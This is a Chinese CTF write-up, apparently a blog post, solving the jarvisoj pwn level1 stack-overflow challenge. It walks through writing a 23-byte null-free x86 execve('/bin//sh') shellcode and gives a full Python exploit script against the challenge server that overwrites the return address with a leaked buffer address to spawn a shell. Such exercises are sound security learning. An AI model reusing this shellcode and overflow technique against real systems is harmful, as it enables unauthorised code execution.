jarvisoj pwn level1 ——记第一次shellcode的编写

jarvisoj(https://www.jarvisoj.com/challenges )pwn部分 level1 解题过程:

在队友的指导下写了人生第一个shellcode感觉很刺激,过程中还是学到了很多东西,记录一下

这个程序流程很简单,用ida分析就两个主要的函数:

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}

vulnerable_function:

ssize_t vulnerable_function()
{
  char buf; // [sp+0h] [bp-88h]@1

  printf("What's this:%p?\n", &buf);
  return read(0, &buf, 0x100u);
}

可以看到在vulnerable_function中泄漏了buf的内存,用checksec可以发现这个程序编译时关了栈不可执行保护,于是我们就可以在buf里面输入shellcode和填充字符,将vulnerable_function的返回地址覆盖为buf的栈上地址,实现一次较简单的栈溢出攻击。

现在的关键是写shellcode

因为linux内核的系统调用表是一样的,可以通过http://syscalls.kernelgrok.com/网站来查询,所以我们可以通过写这样的汇编代码来生成shellcode:

global _start

_start:

xor ecx,ecx

xor edx,edx

push edx

push "//sh"

push "/bin"

mov ebx,esp

xor eax,eax

mov al,0Bh

int 80h

golbal定义了程序的入口点,gcc和ld似乎都认定入口点符号是_start,所以最好不要写别的名字

这段汇编代码的作用是传参并调用中断向量表0x0B(对应的是execve),这个函数的第一个参数是要执行的文件名,这里就是“/bin/sh”;第二个参数是参数集合;第三个参数是环境变量。这里第二和第三个参数都填0即可。

为什么要将“\bin\sh”压入栈中,再将栈顶指针值赋值给ebx来传第一个参数呢?

因为execve的第一个参数是一个字符串的首地址,所以你需要一个栈上的地址作为”/bin/sh”的首地址,直接将“/bin/sh” push进入栈后,esp恰好就是它的指针了。

注意,在传“/bin/sh”这个参数时,我一开始是这么写的:

push "/bin/sh"

这么写有两个问题:

1.汇编器在汇编的时候,一个push只能push 4个字节数据,超长数据将会被截断。

2.末尾没有填充‘/0’字符表示字符串结束,这样会引发错误

后来我改成了这样:

push "/sh"
push "/bin"

这样对于这一题是可以的,你可能会问,你这里不也没填充’/0’吗?之前说过,push时会push 4字节的数据,在不够4字节的数据时,汇编器会在末尾补零(或者说原来里面的值全是0,只覆盖了前3个字节),那么最后一个字节中的0就可以当作字符串的结束标志。

但是这样的shellcode由于具有’\0’,容易被一些函数(如strcpy,strlen等)截断。为了防止这个问题,我们需要让shellcode的二进制代码中没有/x00这样的字节。

所以就有了最终版,这个版本的shellcode只有23字节,而且没有一个/x00字节,以下是传”/bin/sh”的部分:

xor edx,edx

push edx

push "//sh"

push "/bin"

注意:在终端中”/bin/sh”和”/bin//sh”的效果是一样的,这里为了预防/x00字节的出现,用//sh填充了。

写好了汇编代码,我们需要验证是否可行,于是用nasm和ld将这些汇编代码编译成二进制可执行文件:

nasm -f elf 汇编代码文件名

ld -o 输出文件名 上条指令生成的.o文件

之后在当前目录下你就可以找到一个elf文件,执行之后可以拿到shell,验证了shellcode的可行性。

完整的pwn脚本如下:

from zio import *
io = zio(("pwn2.jarvisoj.com",9877))
shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"

buff = int(io.readline()[-10:-2],16)
payload = shellcode + (0x88 - 23) * "A" + "bbbb" + l32(buff)
io.writeline(payload)
io.interact()

你可能感兴趣的:(CTF)